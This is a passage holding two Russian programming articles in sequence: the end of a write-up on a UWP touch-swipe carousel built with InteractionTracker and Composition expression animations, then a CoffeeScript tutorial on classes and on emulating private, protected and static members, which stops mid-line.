довольно редко (навскидку, примерно в 2-5% случаев) и выяснить причину нам не удалось. Почему об этом ничего не сказано в документации и официальных примерах Microsoft — мы не знаем ;) ### TOUCH ONLY ScrollViewer. Формируем HorizontalOffset и события ViewChanging и ViewChanged Раз мы делаем подобие ScrollViewer-а, то нам понадобится свойство HorizontalOffset и события ViewChanging и ViewChanged. Их будем реализовывать через обработку callback-ов InteractionTracker-а. Для их получения при создании InteractionTracker-а надо указать объект, реализующих IInteractionTrackerOwner, который эти callback-и и будет получать: ``` _interactionTrackerOwner = new InteractionTrackerOwner(this); _tracker = InteractionTracker.CreateWithOwner(_compositor, _interactionTrackerOwner); ``` Для полноты картины позволю себе скопировать картинку из документации с состояниями и событиями InteractionTracker-а: ![image](https://habrastorage.org/r/w1560/webt/8k/ge/jt/8kgejtgpmbv81vko6j5clcdy-wk.png) Событие ViewChanged будем бросать по входу в состояние Idle. Событие ViewChanging будем бросать по срабатыванию IInteractionTrackerOwner.ValuesChanged. Сразу скажу, что ValuesChanged может случаться, когда InteractionTracker находится и в состоянии Idle. Это случается после вызова TryUpdatePosition у InteractionTracker-а. И выглядит как баг в платформе UWP. Ну что ж, с этим придётся мириться. Благо, нам не сложно — в ответ на ValuesChanged будем выбрасывать либо ViewChanging, либо ValuesChanged, в зависимости от текущего состояния: ``` private class InteractionTrackerOwner : IInteractionTrackerOwner { private readonly TouchOnlyScrollerViewer _scrollViewer; public void ValuesChanged(InteractionTracker sender, InteractionTrackerValuesChangedArgs args) { // Сохраняем текущее смещение. Пригодится для будущих нужд. _scrollViewer.HorizontalOffset = args.Position.X; if (_interactionTrackerState != InteractionTrackerState.Idle) { _scrollViewer.ViewChanging?.Invoke(args.Position.X); } else { _scrollViewer.ViewChanged?.Invoke(args.Position.X); } } public void IdleStateEntered(InteractionTracker sender, InteractionTrackerIdleStateEnteredArgs args) { // Здесь нельзя использовать _scrollViewer._tracker.Position. // В Windows 14393 (Anniversary Update) он почему-то всегда 0 _scrollViewer.ViewChanged?.Invoke(_scrollViewer.HorizontalOffset, requestType); } } ``` ### TOUCH ONLY ScrollViewer. Snap Points, чтобы пролистывалось ровно на 1 элемент Для обеспечения пролистывания ровно на 1 элемент есть замечательное решение — «[snap points with inertia modifiers](https://docs.microsoft.com/en-us/windows/uwp/composition/inertia-modifiers)». Смысл в том, что мы задаём точки, в которых скроллинг имеет право остановиться после выполнения свайпа на touch экране. А всю остальную логику берёт на себя InteractionTracker. По сути он модифицирует скорость замедления так, чтобы остановка после свайпа произошла плавно и при этом ровно в том месте, где нам надо. Наша реализация чуть отличается от той, что изложена в примере в [документации](https://docs.microsoft.com/en-us/windows/uwp/composition/inertia-modifiers). Потому что мы не хотим давать скроллить более чем на один элемент за раз, даже если пользователь «крутанул» нашу листалку слишком быстро.  Поэтому мы добавляем только три snap-point-а — «на один шаг влево», «на один шаг вправо» и «остаться в текущей позиции». И после каждого пролистывания будем их обновлять. А чтобы не пересоздавать snap point-ы каждый раз после прокрутки, мы сделаем их параметризуемыми. Для этого заводим PropertySet с тремя свойствами: ``` _snapPointProps = _compositor.CreatePropertySet(); _snapPointProps.InsertScalar("offsetLeft", 0); _snapPointProps.InsertScalar("offsetCurrent", 0); _snapPointProps.InsertScalar("offsetRight", 0); ``` И в формулах для Condition и RestingValue используем свойства из этого PropertySet: ``` // Точка привязки на «на один шаг влево» var leftSnap = InteractionTrackerInertiaRestingValue.Create(_compositor); leftSnap.Condition = _compositor.CreateExpressionAnimation( "this.Target.NaturalRestingPosition.x < " + "props.offsetLeft * 0.25 + props.offsetCurrent * 0.75"); leftSnap.Condition.SetReferenceParameter("props", _snapPointProps); leftSnap.RestingValue = _compositor.CreateExpressionAnimation("props.offsetLeft"); leftSnap.RestingValue.SetReferenceParameter("props", _snapPointProps); // Точка привязки на «на один шаг вправо» var currentSnap = InteractionTrackerInertiaRestingValue.Create(_compositor); currentSnap.Condition = _compositor.CreateExpressionAnimation( "this.Target.NaturalRestingPosition.x >= " + "props.offsetLeft * 0.25 + props.offsetCurrent * 0.75 && " + "this.Target.NaturalRestingPosition.x < " + "props.offsetCurrent * 0.75 + props.offsetRight * 0.25"); currentSnap.Condition.SetReferenceParameter("props", _snapPointProps); currentSnap.RestingValue = _compositor.CreateExpressionAnimation("props.offsetCurrent"); currentSnap.RestingValue.SetReferenceParameter("props", _snapPointProps); // Точка привязки «на один шаг вправо» var rightSnap = InteractionTrackerInertiaRestingValue.Create(_compositor); rightSnap.Condition = _compositor.CreateExpressionAnimation( "this.Target.NaturalRestingPosition.x >= " + "props.offsetCurrent * 0.75 + props.offsetRight * 0.25"); rightSnap.Condition.SetReferenceParameter("props", _snapPointProps); rightSnap.RestingValue = _compositor.CreateExpressionAnimation("props.offsetRight"); rightSnap.RestingValue.SetReferenceParameter("props", _snapPointProps); _tracker.ConfigurePositionXInertiaModifiers( new InteractionTrackerInertiaModifier[] { leftSnap, currentSnap, rightSnap }); } ``` Здесь: * NaturalRestingPosition.X — это смещение, на котором закончилась бы инерция, если бы не было snap points; * SnapPoint.RestingValue — смещение, на котором разрешена остановка при выполнении условия SnapPoint.Condition. Сначала мы пробовали границу в Condition ставить посередине между snap point-ами, но пользователи замечали, что почему-то далеко не каждый свайп вызывал пролистывание к следующему элементу. Некоторые свайпы оказывались недостаточно быстрыми и происходил откат назад. Поэтому в формулах для Contition мы используем коэффициенты 0.25 и 0.75, чтобы даже «медленный» свайп производил прокрутку к соседнему элементу.  Ну и после каждой прокрутки к соседнему элементу будем вызывать вот такой метод для обновления параметров snap point-ов: ``` public void SetSnapPoints(double left, double current, double right) { _snapPointProps.InsertScalar("offsetLeft", (float)Math.Max(left, 0)); _snapPointProps.InsertScalar("offsetCurrent", (float)current); _snapPointProps.InsertScalar("offsetRight", (float)Math.Min(right, _tracker.MaxPosition.X)); } ``` ### Панель с UI-виртуализацией Следующим шагом нам нужно было построить на основе нашего TouchOnlyScrollerViewer-а полноценный ItemsControl. *Для справки. [UI-виртуализация](https://docs.microsoft.com/en-us/windows/uwp/debug-test-perf/optimize-gridview-and-listview) — это когда контрол-список вместо, скажем, 1000 дочерних элементов создаёт только те, что видны на экране. И переиспользует их по мере скроллинга, привязывая к новым дата-объектам. Это позволяет сократить время загрузки страницы при большом количестве элементов в списке.* Т.к. всё-таки очень не хотелось реализовывать свою UI-виртуализацию, то первое, что мы, конечно, попытались сделать — это использовать стандартную панель [ItemsStackPanel](https://docs.microsoft.com/en-us/uwp/api/windows.ui.xaml.controls.itemsstackpanel). Хотелось подружить её с нашим TouchOnlyScrollerViewer-ом. К сожалению, не удалось найти ни документации об её внутреннем устройстве, ни исходного кода. Но ряд экспериментов позволил предположить, что ItemsStackPanel ищет ScrollViewer в Visual Tree в списке родительских элементов. И способа это как-то переопределить, чтобы вместо стандартного ScrollViewer-а оно искало наш, мы не нашли. Ну что ж. Значит панель с UI-виртуализацией придётся всё-таки делать самостоятельно. Лучшее, что удалось найти на эту тему — это вот этот цикл статей аж 11-летней давности: [раз](https://blogs.msdn.microsoft.com/dancre/2006/02/06/implementing-a-virtualized-panel-in-wpf-avalon/), [два](https://blogs.msdn.microsoft.com/dancre/2006/02/13/implementing-a-virtualizingpanel-part-2-iitemcontainergenerator/), [три](https://blogs.msdn.microsoft.com/dancre/2006/02/15/implementing-a-virtualizingpanel-part-3-measurecore/), [четыре](https://blogs.msdn.microsoft.com/dancre/2006/02/17/implementing-a-virtualizingpanel-part-4-the-goods/). Он, правда, про WPF, а не про UWP, но идею передаёт очень неплохо. Ей мы и воспользовались. Собственно, идея проста: * Такая панель вкладывается внутрь нашего TouchOnlyScrollerViewer-а и подписывается на его события ViewChanging и ViewChanged; * Панель создаёт ограниченное кол-во дочерних UI-элементов. В нашем случае — это 5 (один в центре, два — на торчащие слева и справа «уши», и ещё 2 — для кэша следующих за «ушами» элементов); * UI-элементы позиционируются в зависимости от TouchOnlyScrollerViewer.HorizontalOffset и пере-привязываются к нужным дата-объектам по мере скроллинга. Реализацию показывать не буду, т.к. она получилась достаточно сложной. Это скорее тема для отдельной статьи. ### Ищем события Tapped, потерявшиеся после перенаправления touch-ввода в composition-поток После того, как мы это собрали вместе вскрылась ещё одна интересная проблема. Иногда пользователь тапает по элементам внутри нашего контрола в процессе того, пока touch ввод перенаправлен в InteractionTracker. Это случается, когда происходит скроллинг по инерции. В этом случае события PointerPressed, PointerReleased и Tapped просто не случаются. И это не надуманная проблема, т.к. инерция у InteractionTracker-а довольно долгая. И даже, когда визуально скроллинг почти закончился, по факту может происходит медленное доскролливание последних нескольких пикселей. В итоге пользователь расстраивается — он ожидает, что по тапу откроется страница выбранного фильма. Но этого не происходит. Поэтому будем идентифицировать тап по паре событий от InteractionTracker-а:  * Переход в состояние Interacting (палец коснулся экрана); * Затем сразу (менее чем за 150ms) переход в состояние Inertia (палец отпустил экран). И при этом скорость скроллинга должна быть нулевой (иначе это уже не тап, а свайп): ``` public void InertiaStateEntered(InteractionTracker sender, InteractionTrackerInertiaStateEnteredArgs args) { if (_interactionTrackerState == InteractionTrackerState.Interacting && (DateTime.Now - _lastStateTime) < TimeSpan.FromMilliseconds(150) && Math.Abs(args.PositionVelocityInPixelsPerSecond.X) < 1 /* 1px/sec */) { _scrollViewer.TappedCustom?.Invoke(_scrollViewer.HorizontalOffset); } _interactionTrackerState = InteractionTrackerState.Inertia; _lastStateTime = DateTime.Now; } ``` Это работает. Но, правда, не позволяет узнать элемент, по которому был осуществлён тап. В нашем случае это не критично, т.к. наши элементы занимают почти всю видимую ширину TouchOnlyScrollViewer-а. Поэтому мы просто выбираем тот, что находится ближе к центру. В большинстве случаев — это именно то, что нужно. Пока никто даже не заметил, что иногда тап во время скроллинга может привести не туда. Это не так просто поймать, даже если знаешь про это ;) Хотя в общем случае, это конечно ещё не полноценное решение. Для полноценной реализации пришлось бы городить ещё и свой hit testing. Но и его непонятно как сделать, т.к. координаты тапа неизвестны… ### Бонус. Expression-анимации для opacity, scale и теней. Чтобы стало, наконец, красиво И, наконец, вишенка на торте — то, ради чего всё это и затевалось. По мере скроллинга мы хотим изменять размер, тень и прозрачность элементов. Чтобы создать ощущение, что тот, который в центре — слегка приподнят. Для этого мы воспользуемся [Expression-анимациями](https://docs.microsoft.com/en-us/uwp/api/windows.ui.composition.expressionanimation). Они тоже являются частью подсистемы Composition, работают на отдельном потоке и поэтому не подтормаживают при занятости UI-потока. Создаются они так. Для свойства, которое должно анимироваться мы задаём формулу (expression), которая определяет зависимость этого свойства от каких-либо других свойств. Формула задаётся в виде текстовой строки. Ещё их прелесть в том, что их можно выстраивать в цепочки. Этим мы и воспользуемся: ![image](https://habrastorage.org/r/w1560/webt/5a/qj/lm/5aqjlmdajxyzkrkzcvp5xuh4zci.png) Источником для всех анимаций будет смещение из InteractionTracker-а в пикселях. На основе него мы для каждого дочернего UI-элемента сгенерируем свойство progress, которое будет принимать значения в диапазоне от 0 до 1. И уже на основе progress-а будем вычислять все остальные визуальные свойства. Итак, формируем \_progressExpression таким образом, чтобы оно принимало значения: * 0 — если наш элемент ушёл достаточно далеко и достиг своего минимально размера и минимальной тени; * 1 — если наш элемент находится чётко на центральной позиции, в этот момент он имеет максимальный размер, а тень показывает, что он как бы поднят: ``` _progressExpression = _compositor.CreateExpressionAnimation( "1 - " + "Clamp(Abs(tracker.Position.X - props.offsetWhenSelected), 0, props.maxDistance)" + " / props.maxDistance"); ``` Здесь: * Clamp(val, min, max) — системная функция. Если val выходит за эти рамки min/max, то возвращает min/max. Если не выходит — возвращает val. * offsetWhenSelected — смещение InteractionTracker-а, при котором текущий элемент находится строго в центре видимой области; * maxDistance — расстояние, при удалении на которое элемент принимает минимальный размер; * tracker — наш InteractionTracker. Добавляем все эти параметры в нашу Expression-анимацию: ``` _progressExpression.SetReferenceParameter("tracker", tracker); _props = _compositor.CreatePropertySet(); _props.InsertScalar("offsetWhenSelected", (float)offsetWhenSelected); _props.InsertScalar("maxDistance", getMaxDistanceParam()); _progressExpression.SetReferenceParameter("props", _props); ``` И создаём PropertySet со свойством progress, которое будет вычисляться посредством нашего \_progressExpression. Это нужно, чтобы на основе этого свойства строить следующие анимации: ``` _progressProps = _compositor.CreatePropertySet(); _progressProps.InsertScalar("progress", 0f); _progressProps.StartAnimation("progress", _progressExpression); ``` Теперь на основе нашего свойства progress создаём уже настоящие «визуальные» анимации с использованием линейной интерполяции (системные функции Lerp и ColorLerp). Полный список функций, которые можно использовать в Expression-анимациях можно найти [здесь](https://docs.microsoft.com/en-us/uwp/api/windows.ui.composition.expressionanimation). Масштабирование: ``` _scaleExpression = _compositor.CreateExpressionAnimation( "Vector3(Lerp(earUnfocusScale, 1, props.progress), " + "Lerp(earUnfocusScale, 1, props.progress), 1)"); _scaleExpression.SetScalarParameter("earUnfocusScale", (float)_earUnfocusScale); _scaleExpression.SetReferenceParameter("props", _progressProps); _thisVisual.StartAnimation("Scale", _scaleExpression); ``` Радиус тени: ``` _shadowBlurRadiusExpression = _compositor.CreateExpressionAnimation( "Lerp(blur1, blur2, props.progress)"); _shadowBlurRadiusExpression.SetScalarParameter("blur1", ShadowBlurRadius1); _shadowBlurRadiusExpression.SetScalarParameter("blur2", ShadowBlurRadius2); _shadowBlurRadiusExpression.SetReferenceParameter("props", _progressProps); _dropShadow.StartAnimation("BlurRadius", _shadowBlurRadiusExpression); ``` Цвет тени: ``` _shadowColorExpression = _compositor.CreateExpressionAnimation( "ColorLerp(color1, color2, props.progress)")) _shadowColorExpression.SetColorParameter("color1", ShadowColor1); _shadowColorExpression.SetColorParameter("color2", ShadowColor2); _shadowColorExpression.SetReferenceParameter("props", _progressProps); _dropShadow.StartAnimation("Color", _shadowColorExpression); ``` Ну и для остальных свойств формулы аналогичны. Эпилог ------ На этом всё. Справедливости ради, надо сказать, что этот контрол оказался, пожалуй, чуть ли ни самым сложным с точки зрения реализации. Остальной fluent design дался намного проще :) → Посмотреть, как это всё работает можно, [установив приложение](https://www.microsoft.com/store/apps/9nblggh43kx3?cid=habr_fluent_design).
https://habr.com/ru/post/343880/
null
ru
null
# CoffeeScript: Классы ![CoffeeScript: Classes](https://habrastorage.org/r/w1560/getpro/habr/post_images/f8c/03b/a2b/f8c03ba2be6eb6af71fb93c2a090cc1c.png) В *ECMAScript* ~~пока~~ отсутствует понятие «класс», в классическом понимании этого термина, однако, в *CoffeeScript* такое понятие есть, поэтому сегодня мы рассмотрим этот вопрос очень подробно. ##### Содержание: 1. Основные понятия 2. Члены класса    2.1. Метод *constructor*    2.2. Открытые члены класса    2.3. Закрытые члены класса    2.4. Защищенные члены класса    2.5. Статические члены класса    2.6. Оператор => (fat arrow) 3. Наследование 4. Дополнительная литература ### Основные понятия **Класс** — специальная синтаксическая конструкция представленная множеством обобщённых логически связанных сущностей. **Объект** — неупорядоченное множество свойств, имеющее объект-прототип, значением которого может быть объект либо *null*. **Конструктор** — объект типа *Function*, который создаёт и инициализирует объекты. **Прототип** — используется для реализации наследования структуры, состояния и поведения. Cвойство *prototype* автоматически создается для каждой функции, чтобы обеспечить возможность использования функции в качестве конструктора. **Инстанцирование** — создание экземпляра класса. ### Общая теория *CoffeeScript* это динамический язык с прототипно-классовой парадигмой, в котором работа с классами реализована на уровне делегирующего прототипирования. Если давать более точно определение, то класс в *CoffeeScript* это абстрактный тип данных, который определяет альтернативный способ работы с объектами. Для того чтобы определить класс нужно использовать спецификатор *class*: ``` class ``` Результат трансляции: ``` (function() { function Class() {}; return Class; })(); ``` Как видите, класс это это всего лишь обёртка ([синтаксический сахар](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%B0%D1%85%D0%B0%D1%80)) представленная функцией-конструктором: ``` Object::toString.call class # [object Function] ``` Создание экземпляра класса (инстанцирование) осуществляется с помощью оператора *new* ``` class A instance = new A ``` После применения оператора *new* к функции-конструктору, активируется внутренний метод [[[Construct]]](http://es5.github.com/#x13.2.2), который отвечает за создание объекта: ``` class A Object::toString.call new A # [object Object] ``` Иными словами, определение класса — не есть создание объекта, до тех пор, пока не произойдет инстанцирование: ``` class A constructor: (@variable) -> A 1 variable # 1 ``` Обратите внимание на то, что переменная *variable* стала доступна в глобальном пространстве имен. Без инстанцирования, определение класса аналогично следующему коду: ``` A = (variable) -> @variable = variable A 1 variable # 1 ``` После того как мы инициализируем создание объекта, *this* внутри конструктора будет указывать на создаваемый объект: ``` class A constructor: (@property) -> object = new A 1 object.property # 1 property # undefined ``` Как видите, *this* уже не указывает на глобальный объект, и переменная *property* не определена. Тоже самое относится и к коду без спецификатора *class*: ``` A = (@property) -> object = new A 1 object.property # 1 property # undefined ``` На самом деле, разницы между этими вариантами нет. Однако стоит заметить, что синтаксис со спецификатором *class* более предпочтителен для создания таких объектов и сейчас я расскажу почему… Если вы помните, то я уже упоминал о неявном добавлении инструкции *return* в функциях. Такое поведение может сыграть с нами очень злую шутку: ``` A = (variable) -> method = -> variable ``` Вроде бы, вполне безобидный код? Что же, давайте попробуем создать объект: ``` A = (param) -> method = -> param object = new A 1 object.method() # TypeError: has no method 'method' ``` Что за дела? Чтобы понять почему так происходит достаточно посмотреть результат трансляции: ``` var A = function(param) { return this.method = function() { return param; }; }; ``` К сожалению нормального способа избежать подобных сюрпризов нет (я сейчас имею ввиду неявное добавление инструкции *return*). Во-первых, мы можем предварить параметр символом *@* и определить функцию в качестве инициализирующего параметра: ``` A = (@method, @param) -> object = new A (-> @param), 1 do object.method # 1 ``` Такое решение возможно благодаря тому что *this* определяется на момент создания объекта. Давайте рассмотрим результат трансляции: ``` var A, object; A = function(method, param) { this.method = method; this.param = param; }; object = new A((function() { return this.param; }), 1); object.method(); //1 ``` > Примечание: функции, принимающие в качестве параметров другие функции или возвращающие другие функции в качестве результата называются [функции высшего порядка](http://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%B2%D1%8B%D1%81%D1%88%D0%B5%D0%B3%D0%BE_%D0%BF%D0%BE%D1%80%D1%8F%D0%B4%D0%BA%D0%B0) (*first-class functions*). В этом случае, параметр функции называется функциональным параметром или [фунаргом](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%B0_%D1%84%D1%83%D0%BD%D0%B0%D1%80%D0%B3%D0%B0). > > Следующий способ, который позволяет нам определить члены объекта заключается в использовании *объектов-прототипов*: ``` A = (@param) -> A::method = -> @param object = new A 1 object.method() # 1 ``` Стоит заметить, что определение свойств объекта напрямую, и через объект-прототип это не одно и тоже: ``` A = (@param) -> A::param = 0 object = new A 1 object.param # 1 ``` У собственных свойств приоритет выше, поэтому сперва анализируются они, а потом уже поиск производится в цепочке прототипов. Напомню, что сейчас мы рассматриваем вопрос относительно неявного добавления инструкции *return* в функциях-конструкторах и способы решения этой проблемы. ``` A = (@param) -> @method = -> @param @ object = new A 1 object.method() # 1 ``` *this* будет указывать на вновь созданный объект. При этом стоит учесть, что если возвращаемым значением будет объект, то именно он и будет являться результатом выражения *new*: ``` A = (@param) -> @method = -> @param [] object = new A 1 object # [] Object::toString.call(object) # [object Array] object.method() # TypeError: Object has no method 'method' ``` Соответственно чтобы иметь доступ к свойству *method* нужно явно вернуть объект которому принадлежит это свойство: ``` A = (param) -> object = {} object.method = -> param object object = new A 1 object.method() #1 ``` Разумеется не важно как будет возвращаться ссылка на объект: ``` A = (param) -> method: -> param object = new A 1 object.method() #1 ``` В данном случае, в функции-конструкторе *A* возвращается ссылка на *анонимный объект*. Все тоже самое относится и к возвращению функций: ``` A = (one) -> (two) -> one + two object = new A 1 object 2 # 3 ``` Как вы понимаете, использование оператора *new* в этом случае опционально. А *this* внутри вложенной функции будет указывать на глобальный объект: ``` A = -> -> @ new A()() # global ``` > Cтоит заметить, что при использовании строгого режима (*use strict*), *this* будет указывать на *undefined*: > > > > > ``` > A = -> > 'use strict' > -> @ > > new A()() # undefined > > ``` > > > Чтобы *this* указывал на вновь созданный объект, нужно явно добавить оператор *new*: ``` A = -> new -> @ new A() # object ``` Тогда у вас должен должен возникнуть встречный вопрос, как передать параметры вложенной функции: ``` A = (one) -> new (two) -> one + two object = new A 1 object.constructor 2 # 3 ``` Прошу не путать внутренний *CoffeeScript* метод *constructor()* и ссылку на функцию *constructor*, через которую можно получить ссылку на прототип объекта: ``` A = -> new -> object = new A object.constructor:: # object object.constructor::constructor 2 # 3 ``` Такое поведение осуществляется за счет диспетчеризации вызовов, когда объект следуя по цепочке делегирующих указателей не может найти соответствующее свойство он обращается к своему прототипу. Такая цепь обращений от объекта к прототипу называется цепью прототипов (*prototype chain*). Подобное поведение хорошо знакомо программистам пишущих на языках *Ruby*, *Python*, *SmallTalk* и *Self*. > Примечание: к сожалению, для *constructor* нет псевдонима как для *ptototype*, но возможно в ближайшем будущем это будет учтено, т.к. во некоторых диалектах *CoffeeScript* это уже реализовано. Например в [coco](https://github.com/satyr/coco/wiki/additions) слово *constructor* можно заменить двоеточием (*..*): > > ``` @..:: # this.constructor.prototype ``` ### Члены класса #### Метод constructor() Конструктор класса — специальный метод *constructor()* определенный в теле класса и предназначенный для инициализации членов объекта. ``` class A A::property = 1 object = new A object.property # 1 ``` В этом примере, мы инициализировали создание класса с именем *A*. Единственный член класса — свойство *property*, которое формально находится в прототипе объекта *A*. Т.к. *this* всегда будет указывать на *A* (и транслировано тоже), есть смысл переписать определение класса: ``` class A @::property = 1 ``` Несмотря на компактность записи, подобное определение членов класса не принято в *CoffeScript*. К тому же, есть более изящное решение: ``` class A property: 1 ``` Для того чтобы определить члены класса за его пределами, следует использовать первую форму записи: ``` class A A::property = 1 ``` Как уже отмечалось ранее, каждый экземпляр класса имеет ссылку на собственный конструктор, которому доступно свойство *prototype*. Получив таким образом ссылку на первоначальный прототип объекта, можно определить новые члены класса: ``` class A object1 = new A object1.constructor::property = 1 object2 = new A object2.property # 1 object2.constructor is A # true ``` Если нужно добавить несколько свойств в прототип, то есть смысл сделать это «скопом»: ``` class A A:: = property: 1 method: -> @property object2 = new A object2.method() # 1 ``` Однако, в этом случае, свойство *constructor* будет указывать на другой объект: ``` class A A:: = {} object = new A object.constructor is A # false ``` Несмотря на то, что ссылка на оригинальный прототип будет утеряна, мало кто это заметит: ``` class A A:: = {} object = new A object.constructor::property = 1 # Опасно! object.property # 1 ``` Нужно быть особо внимательными в таких ситуациях, потому что добавив новое свойство через экземпляр класса мы добавим это свойство всем объектам! Смотрим пример внимательно: ``` class A A:: = property: 1 method: -> @property object = new A object.constructor::property = 'Oh my god!' object.method() # 1 object.property # 1 list = [] list.property # 'Oh my god!' ``` Такое поведение стало возможно в связи с тем, что свойство *constructor* теперь указывает на *Object*: ``` class A A:: = {} object = new A object.constructor # [Function: Object] object.constructor is Object # true ``` Иными словами, сами того не подозревая у нас получилось следующее: ``` Object::property = 'Oh my god!' ``` Разумеется мало кому понравится видеть сторонние методы в своих объектах. Для того чтобы иметь правильную ссылку на исходный конструктор следует явно ее воссоздать: ``` class A A:: = constructor: A object = new A object.constructor::property = 1 object.property # 1 object.constructor is A # true ``` Теперь ссылка на объект-прототип корректная. Если вы помните, то мы начинали рассматривать метод класса *constructor()*. Так вот, единственное назначение этого метода — инициализация параметров: ``` class A constructor: (param) -> @param = param object = new A 1 object.param # 1 ``` Соответственно, если нет необходимости в передаче параметров конструктору класса — разумно будет опустить метод *constructor()*. Идеологически так сложилось, что конструктор не должен возвращать никаких значений и не может быть перегружен (в *CoffeeScipt* отсутствует перегрузка операторов и функций). Так как передача параметров в функцию-конструктор довольно частая операция, в *CoffeeScript* предусмотрен специальный синтаксис: ``` class A constructor: (@param) -> object = new A 1 object.param # 1 ``` Давайте посмотрим на результат трансляции: ``` var A, object; A = (function() { function A(param) { this.param = param; } return A; })(); object = new A(1); object.param; //1 ``` Как видите, *param* является прямым свойством свойством объекта *A*, т.е. в любой момент его можно модифицировать и даже удалить. ``` class A constructor: (@param) -> object = new A 1 object.param = 2 object.param # 2 ``` В этом случае, мы переопределили значение свойства конкретного экземпляра класса, что никак не отразится на другие экземпляры. Далее мы рассмотрим реализации модификаторов уровня доступа, которые не являются частью языка *CoffeeSript* (хотя многие так считают). #### Открытые члены класса (public) Во многих объектно-ориентированных языках [инкапсуляция](http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%BA%D0%B0%D0%BF%D1%81%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) определяется по средствам применения таких модификаторов как *public*, *private*, *protected* и в какой-то степени *static*. В *СoffeeScript* для этих целей предусмотрен несколько иной подход, предлагаю начать рассмотрение этого вопроса с открытых членов (*public*) Все открытые члены класса записываются в ассоциативной нотации, без ведущего символа *@* и/или *this*: ``` class A constructor: (@param) -> method: -> @param object = new A 1 object.method() # 1 ``` Результат трансляции: ``` var A, object; A = (function() { function A(param) { this.param = param; } A.prototype.method = function() { return this.param; }; return A; })(); object = new A(1); object.method(); //1 ``` Из результата трансляции видно, что открытые члены класса добавляются в прототип объекта *A*. Следовательно, обращение членам класса, технически осуществляется как в любом другом объекте: ``` class A property: 1 method: -> @property object = new A object.method() # 1 ``` #### Закрытые члены класса (private) В закрытых членах класса обращения к члену допускаются только из методов того класса, в котором этот член определён. Наследники класса не имеют доступа к закрытым членам. Закрытые члены класса записываются в литеральной нотации: ``` class A constructor: (@param) -> property = 1 # private method: -> property + @param object = new A 1 object.method() # 2 object.property # undefined ``` Технически, закрытые члены класса, являются обычными локальными переменными: ``` var A, object; A = (function() { var property; function A(param) { this.param = param; } property = 1; A.prototype.method = function() { return property + this.param; }; return A; })(); object = new A(1); object.method(); object.property; # 2 ``` На данный момент реализация закрытых членов весьма ограничена. В частности, закрытые члены класса не доступны для членов определенных вне класса: ``` class Foo __private = 1 Foo::method = -> try __private catch error 'undefined' object = new Foo object.method() #undefined ``` Чтобы понять почему так происходит стоит взглянуть на результат трансляции: ``` var A; A = (function() { var __private; function A() {} __private = 1; return Foo; })(); A.prototype.method = function() { try { return __private; } catch (error) { return 'undefined'; } }; ``` Наверняка у вас уже возник вопрос: почему нельзя поместить определение внешних членов в функцию-конструктор? На самом деле, это не решит проблему, потому что определение членов класса может находится в разных файлах! Частично решить эту задачу можно очень простым способом: ``` class A constructor: (@value) -> privated = (param) -> @value + param __private__: (name, param...) -> eval(name).apply @, param if !@constructor.__super__ A::method = -> @__private__ 'privated', 2 class B extends A B::method = -> @__private__ 'privated', 2 object = new A 1 object.method() # 3 object = new B 1 object.method() # undefuned object.privated # undefuned ``` Как видите, член класса *privated* доступно только для членов базового класса. Все что нам потребовалось так это определить следующий метод в базовом классе: ``` __private__: (name, param...) -> eval(name).apply @, param if !@constructor.__super__ ``` Но есть есть одна проблема, наше закрытое свойство доступно напрямую через метод *\_\_private\_\_*: ``` object.__private__ 'privated', 2 # 3 ``` C учетом небольших правок (спасибо [nayjest](http://habrahabr.ru/users/nayjest/) за то, что обратил на это внимание и предложил решение), можно закрыть и этот вопрос: ``` __private__: (name, param...) -> parent = @constructor.__super__ for key, value of @constructor:: allow = on if arguments.callee.caller is value and not parent eval(name).apply @, param if alllow ``` К преимуществам данной реализации можно отнести: + простота и эффективность + легкое внедрение в существующий код Из недостатков: — использование функции *eval* и *arguments.callee.caller* — лишняя «прослойка» *\_\_private\_\_* — отсутствие реальной практической ценности — в методе *\_\_private\_\_* не установлены атрибуты дескриптора контролирующие перечисление этого метода, модификацию и удаление. Последний пункт относящийся к недостаткам реализации, можно исправить так: ``` Object.defineProperty @::, '__private__' value: (name, param...) -> eval(name).apply @, param if !@constructor.__super__ ``` Теперь метод *\_\_private\_\_* не будет перечислен циклом *for-of*, его нельзя будет модифицировать и удалить. Давайте рассмотрим конечный пример: ``` class A constructor: (@value) -> privated = (param) -> @value + param Object.defineProperty @::, '__private__' value: (name, param...) -> parent = @constructor.__super__ for key, value of @constructor:: allow = on if arguments.callee.caller is value and not parent eval(name).apply @, param if allow A::method = -> @__private__ 'privated', 2 class B extends A B::method = -> @__private__ 'privated', 2 object = new A 1 object.method() # 3 object = new B 1 object.method() # undefuned object.privated # undefuned i for i of object # 3, value, method ``` #### Защищенные члены класса (protected) Защищённые члены класса доступны только внутри методов базового класса и его наследников. Формально, в *CoffeeScript* отсутствует специальный синтаксис для определения защищённых членов класса. Тем не менее, мы можем самостоятельно реализовать подобный функционал: ``` class A constructor: (@value) -> protected = (param) -> @value + param __protected__: (name, param...) -> parent = @constructor.__super__ for key, value of @constructor:: allow = on if arguments.callee.caller is value eval(name).apply @, param if allow A::method = -> @__protected__ 'privated', 2 class B extends A B::method = -> @__protected__ 'privated', 2 object = new A 1 object.method() # 3 object = new B 1 object.method() # 3 object.protected # undefuned ``` Как видите, архитектура этого решения практически идентична решению задачи с закрытыми членами класса, и следовательно имеет туже проблему с атрибутами дескриптора. Итоговое решение будет следующее: ``` Object.defineProperty @::, '__private__' value: (name, param...) -> parent = @constructor.__super__ for key, value of @constructor:: allow = on if arguments.callee.caller is value eval(name).apply @, param if allow ``` Стоит заметить, что это далеко не единственное решение данной задачи, просто оно наиболее универсально для понимания реализации. #### Статические члены класса (static) Статический член класса: — предваряется символом *@* или *this* — может существовать только в единственном экземпляре — для нестатических членов класса доступен только через объект-прототип базового класса Рассмотрим пример определения статического члена класса: ``` class A @method = (param) -> param A.method 1 # 1 ``` Теперь давайте рассмотрим возможные (наиболее адекватные) формы записи статического члена класса: ``` @property: @ @property = @ this.property = 